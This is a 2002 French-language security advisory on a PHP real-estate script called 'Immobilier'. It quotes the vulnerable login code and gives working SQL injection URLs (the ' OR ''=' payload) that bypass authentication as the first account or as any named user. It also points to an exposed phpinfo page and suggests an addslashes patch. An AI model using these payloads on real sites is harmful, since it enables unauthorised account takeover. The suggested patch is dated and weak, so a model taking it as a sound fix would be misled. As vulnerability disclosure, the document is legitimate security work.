Immobilier ********** Informations : °°°°°°°°°°°°°° Langage : PHP Version, website : ? Problèmes : - phpinfo() - Injection SQL Dveloppement : °°°°°°°°°°°°°° Immobilier est un script permettant de gerer son propre site de vente, par exemple d'immobilier :) Dans agentadmin.php on peut voir les lignes suivantes, correspondant au login d'un membre : -------------------------------------------------------------- [...] } elseif ($agentname != "" OR $current_user != "") { $sql = "SELECT id FROM agents WHERE agent='$agentname' and agentpass='$agentpassword'"; $result = mysql_query($sql) or die("Couldn't execute query."); $num = mysql_numrows($result); if ($num == 1) { session_register("agentname"); session_register("agentpassword"); echo "\r\n"; print "\r\n"; session_register("current_user"); session_register("agent"); [...] -------------------------------------------------------------- La classique faille SQL se trouve à cette ligne : $sql = "SELECT id FROM agents WHERE agent='$agentname' and agentpass='$agentpassword'"; La requête extrait une info (id) de la table 'agents' là où agent vaut $agentname et où agentpass vaut $agentpassword. Rapellons que ''='' renvois toujpurs vrai comme 'a'='a' ou 1=1,... Si comme valeur à $agentname et $agentpassword on met ' OR ''=' La requête SQL sera : SELECT id FROM agents WHERE agent='' OR ''='' and agentpass='' OR ''='' ce qui retournera vrai. Le pseudo et le password seront donc considéré comme existant, et plus précisemment comme étant le premier enregistrement. Qui est d'ailleurs la plupart du temps l'enregistrement admin. L'url sera : http://[target]/agentadmin.php?agentname='%20OR%20''='&agentpassword='%20OR%20''=' On peut également grâce à cette faille choisir sa cible, à partir du moment où on connait son pseudo. Il suffit de donner cmme valeur à la variable $agentname le pseudo en question, par exemple avec l'url : http://[target]/agentadmin.php?agentname=Bob&agentpasword='%20OR%20''=' Elle donnera la requête : SELECT id FROM agents WHERE agent='Bob' and agentpass='' OR ''='' et le script loggera en tant que l'utilisateur Bob. Enfin, dans le fichier admin/phpinfo.php, on peut voir les lignes : ----------- ----------- Il suffira donc d'acceder à http://[target]/admin/phpinfo.php pour récuperer les données envoyées par la fonction phpinfo. Patch : °°°°°°° - Supprimer admin/phpinfo.php - Placer les lignes : ------------------------------------------ $agentname=addslashes($agentname); $currentuser=addslashes($currentuser); $agentpassword=addslashes($agentpassword); ------------------------------------------ dans le fichier common.php. Un patch est disponible sur http://www.phpsecure.org. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@frog-man.org Website : http://www.frog-man.org Date : 20/11/02